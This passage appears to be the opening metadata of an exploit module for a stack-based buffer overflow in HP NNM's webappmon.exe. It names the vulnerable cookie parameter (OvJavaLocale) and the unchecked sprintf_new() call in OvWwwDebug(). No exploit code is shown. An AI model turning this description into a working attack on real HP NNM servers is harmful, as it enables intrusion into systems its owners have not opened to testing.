'Name' => "HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow",  
'Description' => %q{  
This module exploits a stack-based overflow in HP NNM's webappmon.exe.  
The vulnerability occurs when a long string of data is sent as OvJavaLocale's  
cookie value, OvWww.dll fails to properly do any bounds checking before this  
input is parsed in function OvWwwDebug(), which causes an overflow when  
sprintf_new() is called.
